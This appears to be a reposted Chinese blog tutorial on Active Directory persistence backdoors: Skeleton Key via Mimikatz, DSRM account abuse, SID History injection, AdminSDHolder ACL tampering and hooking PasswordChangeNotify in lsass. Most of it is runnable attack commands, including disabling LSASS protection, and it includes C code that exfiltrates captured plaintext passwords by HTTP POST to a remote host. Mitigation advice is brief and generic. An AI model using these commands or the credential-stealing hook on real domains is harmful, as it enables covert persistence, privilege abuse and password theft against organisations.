百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

常见域后门技术总结与分析利用以及防范措施

cac55 2024-12-16 11:17 39 浏览 0 评论

0x00 前言

当获取到域控的权限后,为了防止对域控权限的丢失,hacker 也会使用一些技术来维持已获取到的域权限。因此,本文对常见的域后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。

0x01 创建 Skeleton Key 域后门

Skeleton Key 即 “万能钥匙”。通过在域控上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。

该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。

注意:利用该技术需要拥有域管理员的权限

1. 常规利用

将 Mimikatz 上传到域控制器,执行以下命令:

mimikatz.exe "privilege::debug" "misc::skeleton" exit

执行后,将成功创建 Skeleton Key 域后门,为所有的域账户设置一个相同的密码 “mimikatz”,从而使其他机器可以成功登录域控。

2. 缓解措施

微软在 2014 年 3 月添加了 LSA(Local Security Authority,本地安全机构)保护策略,用来防止对 lsass.exe 进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭 LSA 保护。

# 开启 LSA 保护策略
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭 LSA 保护策略
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

开启LSA 保护策略并重启系统后,Mimikatz 的相关操作都会失败。此时即使已经获取了 Debug 权限也无法读取用户哈希值,更无法安装 Skeleton Key。

不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

0x02 创建 DSRM 域后门

DSRM(Directory Services Restore Mode,目录服务还原模式)是域控的安全模式启动选项,用于使服务器脱机,以进行紧急维护。在初期安装 Windows 域服务时,安装向导会提示用户设置 DSRM 的管理员密码。有了该密码后,网络管理员可以在后期域控发生问题时修复、还原或重建活动目录数据库。

在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码,相关命令如下:

# 进入 ntdsutil
ntdsutil
# 进入设置 DSRM 账户密码设置模式
set dsrm password
# 在当前域控上恢复 DSRM 密码
reset password on server null
# 输入新密码 123456Lhz!
<password> 
# 再次输入新密码
<password>
# 退出 DSRM 密码设置模式
q
# 退出 ntdsutil
q

hacker 可以通过修改 DSRM 账户的密码,以维持对域控的权限。

该技术适用于 Windows Server 2008 及以后版本的服务器,并需要拥有域管理员的权限

利用过程:

① 执行以下命令,通过 Mimikatz 读取域控的 SAM 文件,获取 DSRM 账户的哈希值。

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

② 修改 DSRM 账户的登录模式,以允许该账户远程登录。可以通过编辑注册表的DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种:

0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。

1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。

2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。

执行以下命令,将 DSRM 的登录模式改为 “2”,允许 DSRM 账户在任何情况下都可以登录域控。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

③ 这时,hacker 就可以通过 DSRM 账户对域控制器进行控制了。

执行以下命令,使用 DSRM 账户对域控执行哈希传递攻击并成功获取域控权限:

0x03 SID History 的利用

1. SID & SID History

在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一、不可变标识符。

Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用 SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌,其中包含用户和组 SID 和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。

如果将账户删除,然后使用相同的名字创建另一个账户,那么新账户不会具有前一个账户的特权或访问权限,这是因为两个账户的 SID 不同。

SID History 是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当 Domain A 中的用户迁移到 Domain B 时,会在 Domain B 中新创建一个账号。此时,将 Domain A 用户的 SID 添加到 Domain B 的用户账户的 SID History 属性中。这就确保了 Domain B 用户仍然拥有访问 Domain A 中资源的权限。

2. 利用方法

在实战中,hacker 可以将域管理员用户的 SID 添加到其他域用户的 SID History 属性中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

下面在域控制器(Win 2012)上进行实操:

在 Windows Server 2019 上进行测试时可能会报错

① 创建域用户 Alice

② 向域控制器上传 Mimikatz,并执行以下命令,将域管理员 Administrator 的 SID 添加到域用户 Alice 的 SID History 属性中:

# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit

③ 通过 Powershell 查看 Alice 用户的属性,可以发现其 SID History 属性值已经与 Administrator 用户的 SID 相同,这说明 Alice 用户将继承 Administrator 用户的所有权限。

Import-Module ActiveDirectory
Get-ADUser hack -Properties SIDHistory

④ 通过 Alice 用户连接域控,执行 “whoami /priv” 命令,可以看到该用户拥有域管理员的所有特权。

0x04 利用 AdminSDHolder 打造域后门

1. AdminSDHolder

AdminSDHolder 是一个特殊的 Active Directory 容器对象,位于 Domain NC 的 System 容器下。

AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。

受保护对象通常包括系统的特权用户和重要的组,如 Administrator、Domain Admins、Enterprise Admins 以及 Schema Admins 等。

在活动目录中,属性 adminCount 用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。

通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。

# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn

在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。

2. 利用方法

在实战中,hacker 可以篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp 进程执行相关工作时,被篡改的 ACL 配置将同步到受保护的 ACL 中,以此建立一个隐蔽的域后门。

利用该技术需要拥有域管理员权限

执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 “完全控制” 权限。

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

执行后,Alice 用户成功拥有 AdminSDHolder 容器对象的完全控制权限

等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。

此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。

如果清除 Alice 用户对 AdminSDHolder 的完全控制权限,可以执行以下命令:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose

3. 改变 SDProp 的工作周期

方法1:修改注册表

hacker 也可以通过注册表手动修改 SDProp 进程的工作周期,以缩短等待的时长(最小值1分钟,最大值2小时)。该注册表需要慎重修改, 当修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,该注册表键默认是不存在的。

# 工作周期修改为 1 分钟,键值以秒为单位
reg add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

方法2:强制 SDProp 执行

① 运行 Ldp.exe(C:\Windows\System32\Ldp.exe)

② 点击连接 -> 连接,输入当前机器的机器名或IP,端口默认为 389

③ 点击连接 -> 绑定,选择绑定为当前登录的用户

④ 在修改窗口这里针对不同版本的域控制器有不同的情况:

当域控为Windows Server 2008时,点击浏览 -> 修改,在属性选项卡中输入 FixUpInheritance ,在值字段输入 yes。操作选择添加,然后点击输入,最后运行即可。

当域控为Windows Server 2008 R2或Windows Server 2012及以上时,点击浏览 -> 修改,在属性选项卡中输入 RunProtectAdminGroupsTask ,在值字段输入 1。操作选择添加,然后点击输入,最后运行即可。

0x05 HOOK PasswordChangeNotify

PasswordChangeNotify 在微软官方文档中的名称为 PsamPasswordNotificationRoutine,是一个 Windows API。当用户重置密码时,Windows 会先检查新密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 函数在系统中同步密码。该函数的语法如下:

PSAM_PASSWORD_NOTIFICATION_ROUTINE PsamPasswordNotificationRoutine;
NTSTATUS PsamPasswordNotificationRoutine(
  [in] PUNICODE_STRING UserName,
  [in] ULONG RelativeId,
  [in] PUNICODE_STRING NewPassword
)
{...}

当调用 PasswordChangeNotify 时,用户名和密码将以明文的形式传入。hacker 可以通过 Hook 技术,劫持 PasswordChangeNotify 函数的执行流程,从而获取传入的明文密码。

下面进行演示:

① 生成 DLL 文件,需在项目属性中将MFC的使用设为 ”在静态库中使用MFC“

② 将编译好的 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 上传到域控制器,并通过 Invoke-ReflectivePEInjection.ps1 将 HookPasswordChange.dll 注入 lsass.exe 进程。

# 导入 Invoke-ReflectivePEInjection.ps1
Import-Module .\Invoke-ReflectivePEInjection.ps1
# 读取 HookPasswordChange.dll 并将其注入 lsass 进程
$PEBytes = [IO.File]::ReadAllBytes('C:\HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

建议在 Windows Server 2012 上进行测试,Window Server 2019 亲测运行脚本会报错

③ 当管理员修改密码时,用户的新密码将记录在 c:\windows\temp 目录的 password.txt 文件中。

此外,password.txt 文件的保存路径可以自定义,需要在 HookPasswordChange.cpp 文件中修改

我们还可以在源码的基础上通过 WinINet API 添加一个简单的 HTTP 请求功能,将获取到的用户密码传回远程服务器,相关代码如下:

// 需要包含 --> #incloud <WinInet.h>
HINTERNET hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet == NULL)
{
    InternetCloseHandle(hInternet);
}
HINTERNET hSession = InternetConnect(hInternet, L"192.168.220.132", 6666, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);

if (hSession == NULL)
{
    InternetCloseHandle(hSession);
    InternetCloseHandle(hInternet);
}

char strUserName[128];
char strPassword[128];
WideCharToMultiByte(CP_ACP, 0, userName, -1, strUserName, sizeof(strUserName), NULL, NULL);
WideCharToMultiByte(CP_ACP, 0, password, -1, strPassword, sizeof(strPassword), NULL, NULL);
char Credential[128];
snprintf(Credential, sizeof(Credential), "username=%s&password=%s", strUserName, strPassword);
HINTERNET hRequest = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
TCHAR ContentType[] = L"Content-Type: application/x-www-form-urlencoded";
HttpAddRequestHeaders(hRequest, ContentType, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
HttpSendRequest(hRequest, NULL, 0, Credential, strlen(Credential));

重新编译生成 HookPasswordChange.dll 并注入 lsass.exe 进程,当管理员修改密码时,将通过 HTTP POST 方法将用户密码外带到远程服务器。

加入HTTP 请求功能后重新编译时,如果出现报错:无法解析的外部符合 _imp_XXXXX,可以参考:解决方案

0x06 总结

防范域后门的建议:

  1. 更新安全补丁:安装并更新所有操作系统和应用程序的最新安全补丁可以修复已知漏洞,并减少系统受到攻击的风险。
  2. 限制管理员访问:管理员账户应该仅限于必要的操作,并且应该使用最小化特权的账户。管理员账户的密码应该足够强大,并且需要定期更换。
  3. 强化密码策略:强制使用复杂的密码,并限制登录尝试次数,以防止恶意攻击者使用暴力破解密码的方式获取访问权限。
  4. 实施网络隔离:将不同的网络隔离起来,可以减少攻击者在一次攻击中访问整个网络的可能性。网络隔离也可以限制内部用户对受感染系统的访问。
  5. 部署安全软件:使用杀毒软件、防火墙和入侵检测系统等安全软件可以帮助检测和阻止潜在的攻击。
  6. 定期备份数据:备份数据可以确保在遭受攻击时能够快速恢复系统和数据。备份数据应存储在离线介质上,并且需要定期测试以确保可靠性。
  7. 培训用户:向用户提供安全意识培训,教育他们如何避免受到钓鱼攻击和恶意软件的影响,可以减少系统受到攻击的风险。

from https://www.freebuf.com/articles/network/359329.html

相关推荐

远程桌面管理服务器的软件工具:Splashtop

通过远程控制和维护服务器,IT运维无需亲自在设备附近就可以轻松完成工作,极大地提高了效率。在本文中,我们将深入了解远程桌面管理服务器的主要优点,以及实现此任务所需的软件工具和操作方法。首先,远程桌面管...

最担心的事还是发生了 19岁黑客远程破解逾25台特斯拉

近日,德国19岁的安全研究人员大卫·科伦坡(DavidColombo)表示,他在特斯拉的系统中发现一处系统漏洞,并通过该漏洞远程入侵了13个国家的25辆特斯拉电动汽车,使其关闭安全系统。他几乎掌控了...

朝鲜黑客使用已知恶意软件家族FASTCash的 Linux 变种来窃取资金

据观察,朝鲜威胁组织使用已知恶意软件家族FASTCash的Linux变种来窃取资金,作为以财务为动机的活动的一部分。一位自称HaxRob的安全研究员表示,这种恶意软件“安装在受感染网络内处理卡...

Phorpiex恶意脚本卷土重来,成为LockBit 3.0勒索木马传播载体

IT之家5月5日消息,安全公司Cybereason发文透露“老牌”恶意脚本Phorpiex近日又卷土重来,成为传播LockBit3.0勒索木马的载体,感染了相应脚本的设备会自动下...

黑客远程入侵控制Jeep 自由光 互联网汽车存隐患

当我们在为汽车互联网技术带来的便捷欢呼雀跃时,也许危险也在悄悄走近。近日据Wired报道,名叫安迪的男子正开着Jeep自由光以70码的时速行驶在圣路易斯下城区时,车辆突然失去了控制。“首先是冷风突然调...

警惕!KeePass密码管理器竟成黑客“帮凶”

近日,网络安全领域爆出一则令人震惊的消息:网络安全公司WithSecure披露,在过去至少八个月的时间里,黑客通过篡改知名的KeePass密码管理器,上演了一场大规模的恶意攻击大戏!KeePass作...

开源网页应用框架ThinkPHP遭黑客滥用,变身远程代码执行工具

IT之家6月9日消息,安全公司Akamai近日发布报告,声称目前有黑客滥用一款热门开源网页应用框架ThinkPHP中的远程执行代码漏洞,打造了一款名为“Dama”的恶意工具进行攻击。I...

远程控制、窃密、挖矿!我国境内捕获“银狐”木马病毒变种

最近大家可得小心电脑病毒了!国家相关部门刚通报了一个叫"银狐"的木马病毒新变种,专门盯着普通老百姓和企事业单位下手。我给大家掰开揉碎了讲讲,遇到这种情况该怎么躲坑?·一、这病毒怎么盯上...

6款Linux常用远程连接工具,你最中意哪一款?

点击上方头像关注我,每周上午09:00准时推送,每月不定期赠送技术书籍。本文2106字,阅读约需6分钟Hi,大家好。远程连接的实现方法有很多,概括地说有两种,一种是用系统自带的远程连接,另外一种是用...

安全公司曝光黑客山寨杀毒软件Bitdefender官网,实为提供木马

IT之家5月31日消息,安全公司DomainTools发文,透露有黑客伪造网站声称提供杀毒软件,实则借机传播恶意木马。IT之家参考相应通报获悉,相应黑客首先建立山寨Bitdefender...

魔兽世界怀旧服:mc与bwl高手进阶输出手法与职业心得理解

作者:NGA-499917309a前言:之前写了两篇教新手术士怎么打mc和bwl的帖子,属于基础入门,只是让大家会打,随着时间推移,副本早已进入farm阶段,新手也不满足于会打,而是追求更高的输出,甚...

《奇幻梦境》进不去游戏解决方法攻略

奇幻梦境第一章近日发售了,本作也是一款第一人称解密游戏。本作的游戏画面色彩简单明了,包括了游戏的剧情也是。有不少的小伙伴反映奇幻梦境打不开不进不去,接下来小编就给大家解决这款游戏打不开进不去的一些可能...

国外网友热议:LOL客户端仍然如此差劲!新版又在测试了?

印象中英雄联盟的客户端换过几次版本,但是动作最大的应该就是在2017年的那次,直接更换了整个客户端的UI界面以及内部的很多组件。但是新版客户端上线至今两年多的时间里,玩家对于这个客户端的吐槽依旧很多,...

谷歌地球免费专业版7.1.5.1557下载

IT之家讯5月22日消息,谷歌地球专业版GoogleEarthPro已经更新到7.1.5.1557版,目前,谷歌官方还没有给出更新日志。这种情况通常来讲都是常规问题修复,建议新老用户及时下载安装...

僵尸部队三部曲 免安装中文硬盘版下载发布

【游戏封面】中文名称:僵尸部队三部曲游戏名称:ZombieArmytrilogy游戏类型:第三人称射击游戏制作:Rebellion游戏发行:Rebellion游戏发行:PC游民星空狙击精英3专区版...

取消回复欢迎 发表评论: